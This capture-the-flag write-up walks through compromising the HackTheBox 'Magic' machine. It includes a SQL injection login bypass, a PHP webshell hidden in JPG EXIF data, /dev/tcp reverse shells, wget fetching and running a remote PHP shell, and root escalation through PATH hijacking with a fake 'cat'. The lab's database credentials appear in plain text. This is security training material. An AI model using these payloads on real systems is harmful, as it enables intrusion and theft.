HacktheBox - Magic Writeup

Nmap - Full TCP Scan

Let's start with a TCP scan of the target ip address to determine which ports are open and the services running on those ports:

nmap -p- -sC -sV -oA nmap/full.tcp

The flags explained:

-p- Scan every TCP port
-sC Run the default nmap script scan to find potential vulnerabilities
-sV Detect the service version
-oA Output the result of the scan in all formats as nmap/full.tcp

Scan Result:

22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio

We see that HTTP and SSH are running on the machine.

Enumerating Port 80 - HTTP

Browsing to

We see a page full of images:

When viewing the information of the images, we see that they are located in the /image/uploads/ directory:

We can also see that the server is using php files, as when we browse to index.php the pages load successfully.


Lets run gobuster to find any hidden directories/files:

gobuster dir -u -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php

/index.php (Status: 200)
/images (Status: 301)
/login.php (Status: 200)
/assets (Status: 301)
/upload.php (Status: 302)
/logout.php (Status: 302)

Okay so as you can see, we are getting 301 and 302 HTTP responses, 301 responses are telling use that we are forbidden to access the resource, and the 302 responses are because to view the pages, we first need to login.

Login to the webpage - SQL Injection

We come across a login page which is vulnerable to SQLi, enabling us to bypass the login feature completely using the basic SQLi payload ' or 1=1;-- - inside the username parameter:

Burp Request:

Burp Response, after being redirected, we are successfully logged in as admin:

Testing the image upload function

Lets see what image files are allowed to be uploaded. To do this, we simply just need to click the Upload Image button:

So we are only allowed to upload JPG, JPEG or PNG files.

Customising an jpg image to include a PHP one liner

Since we want to get a connection to the box via PHP, lets use the tool exiftool to place php code inside of a jpg image!

Firstly find a random .jpg image from google and save it to your machine, I saved an image and called it shellz.jpg

Now we can insert a php one liner command into the saved image that will give us a basic webshell on the target machine:

exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' shellz.jpg

Lastly, we need to rename the file as the extension now needed to be .php.jpg:

mv shellz.jpg shellz.php.jpg

Upload the malicious shellz.php.jpg file

Again, on the uploads.php page, browse to our malicious file and click Upload Image .. This time we get a message indicating theat our file has been uploaded successfully!

Confirm Command Execution on the target

Now that the file has been uploaded and we know that the images are stored in the /images/uploads directory - lets browse to our file and run a simple command to prove Command Execution:

... Bingo! :D

Gain an initial foothold on the target - www-data

Now that we have proved that we can upload a php one liner to execute commands, lets use exiftool again to this time run a netcat command that will connect back to my attacker machine.

exiftool -DocumentName="<h1>FOLLOW-ME-ON-TWITTER<br><?php echo shell_exec(' bash -i >& /dev/tcp/ 0>&1');?>'</h1>" shellz.jpg

As you can see, I had to change the payload as whenever i tried to add the reverse shell one liner and press enter, I would get a shell on my own machine instead of creating the malicious file..

Rename the file:

mv shellz.jpg shellz.php.jpg

Start netcat listener:

rlwrap nc -lvnp 443

Upload the file, and browse to it to execute the php command inside the image file!

... and it fails.

Download and execute php file from the target machine

As we can execute commands from the target machine itself, lets use wget to download the kali php-reverse-shell.php file (renamed it to revz.php and edited the IP and Port) from my attacker machine and execute it that way!

exiftool -DocumentName="<h1>FOLLOW-ME-ON-TWITTER<br><?php echo shell_exec('/usr/bin/wget -O revz.php && php revz.php');?>'</h1>" shellz.jpg

Rename the file again like before:

mv shellz.jpg shellz.php.jpg

Start a web server in the location of the reverse shell file:

python3 -m http.server

Upload and execute the file:

... And we get a connection on our netcat listener as www-data!

rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 38798
Linux ubuntu 5.3.0-42-generic #34~18.04.1-Ubuntu SMP Fri Feb 28 13:42:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 11:28:02 up  3:16,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Upgrade the connection to a fully interactive shell:

python3 -c 'import pty;pty.spawn("/bin/bash");'
stty raw -echo 

Privilege Escalation - www-data to Theseus

It would seem that before we get user on the box, we need to beomce the user theseus as we dont have any access to the user.txt file.

Finding Credentials in /var/www/Magic directory

As we are running as the user www-data, the most likely directory that will have what we require to gain access to the user theseus is the /var/www directory - and just like that we find that inside the /var/www/Magic directory there is a db.php5 file with credentials for the user theseus!

class Database
    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';

After trying to change users with su and ssh - both rejecting the credentials found in the file - i am stumped!

Dumping the MySQL database contents

But then when checking netstat I see that MySQL is listening on the machine - meaning the credentials found are probably for MySQL!

netstat -aunt
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 *               LISTEN     
tcp        0      0    *               LISTEN     
tcp        0      0 *               LISTEN     
tcp        0      0*               LISTEN    

After a bit of googling, I found a tool that can dump all the data inside the MySQL database called mysqldump - which was actually installed on the machine already!

www-data@ubuntu:/home/theseus$ locate mysqldump
locate mysqldump

To dump every database we can use the following command:

mysqldump -h localhost -u theseus -piamkingtheseus --all-databases > dump.sql

NOTE: The password has to be entered with no spaces between the password and the -p flag unless the password has special characters, then it is easier to use the flag --password='$password'

We can now use the cat command to view the contents of the MySQL databases - and we find creds!

/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;


Lets now attempt to change to the user Theseus via su:

www-data@ubuntu:/tmp$ su theseus 
su theseus 
Password: Th3s3usW4sK1ng



Now we can grab the user.txt file:

Privilege Escalation - Root

Now that we have a foothold as Theseus, lets download and run linpeas!

cd /tmp
bash linpeas.sh

Finding an interesing SUID binary

We come across an interesting SUID entry, /bin/sysinfo:

When we execute the sysinfo binary, we see that it is a script that gathers information on the system - hence the name I guess :P

When running strings against the binary, we see that to make the script, it calls commands fdisk and cat to produce the information:

Exploiting the $PATH hierachy

As we can run sysinfo as root, root will use the contents of $PATH to determine what location it looks in first for the binary it is looking to run - which we can exploit!

Firstly, lets view the current $PATH:

echo $PATH


And as you can see, the first location root will look in for the binary to execute will be the /usr/local/sbin directory then if it isnt in that directory, it will look in usr/local/bin etc etc.

Knowing this, we can create a binary called cat with a malicious command in a new folder and set the $PATH to look for the binary cat in our created folder - meaning root will execute the contents of our binary file!

Create a new directory

Create a new directory called /home/theseus/addedpath to contain the created cat binary which will be added to the $PATH

Create a new binary

Lets create a new binary called cat in the /home/theseus/addedpath directory which will contain a bash reverse shell script:

echo '#!/bin/bash' > cat
echo 'bash -i >& /dev/tcp/ 0>&1' >> cat

Make the binary executable

chmod +x cat

Change the $PATH

Now that we have the binary file in the /home/theseus/addedpath directory we can add the directory to the $PATH and make it the first location root will use to find the binary cat:

export PATH="/home/theseus/addedpath:$PATH"

We can confirm that the path has been changed accordingly wit the echo $PATH command:


And as you can see, the newly added directory is at the front of the $PATH list!

Execute the sysinfo binary

Now that our cat binary is ready  to be executed, all we need to do now is start a netcat listener on our attacker machine and execute the sysinfo binary:

rlwrap nc -lvnp 8080

cd /bin

We see the script hang, and when we check the netcat listener - we have a connection as root!

rlwrap nc -lvnp 8080
listening on [any] 8080 ...
connect to [] from (UNKNOWN) [] 57380
root@ubuntu:/bin# whoami

Change the $PATH back to its original state

Before we can grab the root.txt file with the cat - we need to edit the $PATH variable one more time to remove our added entry:

export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games"

We can now open the root.txt file:

Craig Underhill

Read more posts by this author.